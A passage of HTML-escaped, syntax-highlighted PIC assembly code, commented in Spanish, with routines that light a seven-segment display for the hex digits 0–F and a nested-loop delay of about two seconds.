&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cero:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; Establece todos los pines del puerto B en alto&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>a:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>b:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>c:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>d:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>e:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>f:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">;--------------------------------- Genera un sleep aprox 2 segundos&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Delay2s:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> D&lt;span style="color:#e6db74">&amp;#39;50&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> Counter1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>DelayLoop1:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> D&lt;span style="color:#e6db74">&amp;#39;200&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> Counter2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>DelayLoop2:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">decfsz&lt;/span> Counter2, f
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">goto&lt;/span> DelayLoop2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">decfsz&lt;/span> Counter1, f
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">goto&lt;/span> DelayLoop1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">;-----------------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>revisiondecondicion:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esun1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esun2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esun3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esun4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esun5
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esun6
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esun7
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esun8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esun9
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esun0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esunA
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esunB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esunC
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esunE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> esunF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esun1:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span> &lt;span style="color:#75715e">;// esto es !=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> uno
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esun2:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> dos
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esun3:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> tres
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esun4:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> cuatro
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esun5:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> cinco
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esun6:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> seis
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esun7:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">7&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> siete
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esun8:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">8&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> ocho
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esun9:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">9&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> nueve
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esun0:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> cero
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">; terminan las numeros ---------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esunA:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> a
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esunB:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">11&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esunC:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">12&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esunD:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">13&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> d
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esunE:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">14&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BTFSS&lt;/span> STATUS, Z
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">CALL&lt;/span> e
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>esunF:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">MOVLW&lt;/span> &lt;span style="color:#ae81ff">15&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">SUBWF&lt;/span> sa, W
